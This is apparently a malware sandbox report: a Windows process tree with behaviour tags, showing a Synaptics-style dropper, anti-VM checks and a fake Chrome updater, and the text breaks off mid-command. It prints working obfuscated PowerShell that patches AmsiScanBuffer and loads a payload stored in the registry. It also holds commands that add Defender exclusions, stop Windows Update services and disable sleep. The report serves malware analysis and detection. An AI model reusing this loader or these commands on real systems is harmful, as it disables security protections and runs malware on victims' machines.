C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5176,i,12848059834911615560,15513987896011724036,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=124,i,7991567272779908074,1833760923347201603,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=6040 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5872,i,17202575323257732176,6245064728033547076,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,3812259497784361685,15278791287764613547,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=124 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,10393268615148906847,9480496046348411291,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=872,i,6975131501968275874,5583309275486991431,262144 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:103⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,11199379854681947387,15704447953123097328,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4948,i,3618578457890122739,3640231989137679406,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5032 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5172,i,15121693318739899649,12876027051025898667,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6256,i,16144992993114558392,12779551946323398470,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,10787514618126175397,2761384533539528486,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=4768 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5264,i,5950066186786753500,6927956572558475569,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5636,i,14594227245625713897,10526805322178410168,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,6554946674543216098,8553277930053803115,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:143⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2480 -ip 24801⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004E41⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\CentraStage\CagService.exe"C:\Program Files (x86)\CentraStage\CagService.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe/s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall delete rule name="RMM WINVNC"2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall add rule name="RMM WINVNC" dir=out action=block program="C:\Program Files (x86)\CentraStage\UltraVNC\winvnc.exe" enable=yes2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\CentraStage\UltraVNC\vnc_configure.cmd" C:\Program Files (x86)\CentraStage\UltraVNC\winvnc.exe"2⤵
-
C:\Windows\system32\sc.exeSC QUERY uvnc_service3⤵
- Launches sc.exe
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq winvnc.exe"3⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\find.exefind ":"3⤵
-
-
C:\Windows\system32\sc.exeSC create uvnc_service binpath= "\"C:\Program Files (x86)\CentraStage\UltraVNC\winvnc.exe\" -service" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -executionpolicy bypass & 'C:\ProgramData\CentraStage\Packages\d41e59e2-ec0a-44d7-9540-1be4629ab5b0#\command.ps1'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -executionpolicy bypass & 'C:\ProgramData\CentraStage\Packages\4964abfc-5230-4c88-a386-88654071d46f#\command.ps1'2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\TEMP\842EBF18-591A-40E1-8434-E840F353C0DE\dismhost.exeC:\Windows\TEMP\842EBF18-591A-40E1-8434-E840F353C0DE\dismhost.exe {8E74BB37-C0B1-4ABA-AF10-66719233D99C}3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\CentraStage\Packages\65da6b7b-0588-42af-87ac-af060604d23b#\command.bat""2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic path softwarelicensingservice get OA3xOriginalProductKey 2> nul | find "-"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path softwarelicensingservice get OA3xOriginalProductKey4⤵
-
-
C:\Windows\system32\find.exefind "-"4⤵
-
-
-
C:\Windows\system32\cscript.execscript /nologo oldScript.vbs3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~2\CENTRA~1\CAGSER~1.EXE"2⤵
-
C:\PROGRA~2\CENTRA~1\CAGSER~1.EXEC:\PROGRA~2\CENTRA~1\CAGSER~1.EXE3⤵
-
-
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\UniversalBrowser.exeC:\Users\Admin\AppData\Local\Temp\Files\UniversalBrowser.exe1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\SysWOW64\._cache_Synaptics.exe" Admin3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Roaming\$77svchost.exe"C:\Users\Admin\AppData\Roaming\$77svchost.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Java\jusched.exeC:\Users\Admin\AppData\Roaming\Java\jusched.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\eecc5047\eecc5047.exeC:\eecc5047\eecc5047.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\eecc5047.exeC:\Users\Admin\AppData\Roaming\eecc5047.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe" -service -lunch1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"2⤵
- Executes dropped EXE
-
-
C:\ProgramData\Qiqu\Taje.exeC:\ProgramData\Qiqu\Taje.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:iFnXqoTPyMfd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ztRmciFWgsDlrX,[Parameter(Position=1)][Type]$TQNJpjgUTL)$JeWtRwdmPLp=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType('My'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+'nsi'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+'o'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$JeWtRwdmPLp.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+'i'+'a'+''+'l'+''+[Char](78)+'a'+'m'+''+'e'+''+','+''+'H'+''+'i'+''+[Char](100)+'eBy'+[Char](83)+''+'i'+''+'g'+','+[Char](80)+''+[Char](117)+'b'+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$ztRmciFWgsDlrX).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$JeWtRwdmPLp.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+'N'+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+',V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$TQNJpjgUTL,$ztRmciFWgsDlrX).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $JeWtRwdmPLp.CreateType();}$VaCBeKhUuMhTU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+'a'+''+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$rgujnxtkarZHWl=$VaCBeKhUuMhTU.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](80)+'r'+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+'S'+''+'t'+'a'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tcqPxBbxzsnqpXGMVXp=iFnXqoTPyMfd @([String])([IntPtr]);$COhRQxsEPtDofwThavgSbw=iFnXqoTPyMfd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$clLdOjBACKy=$VaCBeKhUuMhTU.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'M'+''+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+'ll')));$DLmKEkSlegYgXw=$rgujnxtkarZHWl.Invoke($Null,@([Object]$clLdOjBACKy,[Object]('L'+'o'+'a'+'d'+''+'L'+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+''+[Char](65)+'')));$qRFXSTwKvRuRXzwqw=$rgujnxtkarZHWl.Invoke($Null,@([Object]$clLdOjBACKy,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+'l'+''+'P'+''+[Char](114)+''+'o'+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$McuNVvl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DLmKEkSlegYgXw,$tcqPxBbxzsnqpXGMVXp).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+'.dl'+[Char](108)+'');$ENhGMQcpZlAePOakD=$rgujnxtkarZHWl.Invoke($Null,@([Object]$McuNVvl,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'Sc'+[Char](97)+'n'+'B'+''+[Char](117)+'f'+'f'+''+[Char](101)+'r')));$nVxXzvnSln=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qRFXSTwKvRuRXzwqw,$COhRQxsEPtDofwThavgSbw).Invoke($ENhGMQcpZlAePOakD,[uint32]8,4,[ref]$nVxXzvnSln);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ENhGMQcpZlAePOakD,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qRFXSTwKvRuRXzwqw,$COhRQxsEPtDofwThavgSbw).Invoke($ENhGMQcpZlAePOakD,[uint32]8,0x20,[ref]$nVxXzvnSln);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('d'+'i'+''+[Char](97)+''+'l'+''+'e'+''+[Char](114)+'s'+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exedialer.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:RDcoPnCAMuoH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$pXmBfmeInwzYTd,[Parameter(Position=1)][Type]$CBMzOSYtFt)$SrjVLxNlVTa=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'fl'+'e'+'c'+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'e'+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+'M'+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+'y'+'p'+''+[Char](101)+'','C'+[Char](108)+'ass,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+',Se'+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+'si'+[Char](67)+''+[Char](108)+'as'+[Char](115)+','+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$SrjVLxNlVTa.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+'N'+'a'+''+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'S'+'i'+'g'+[Char](44)+''+[Char](80)+'u'+'b'+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$pXmBfmeInwzYTd).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'ime'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$SrjVLxNlVTa.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+'t'+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+'al',$CBMzOSYtFt,$pXmBfmeInwzYTd).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $SrjVLxNlVTa.CreateType();}$UdIcQiSYWhacu=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 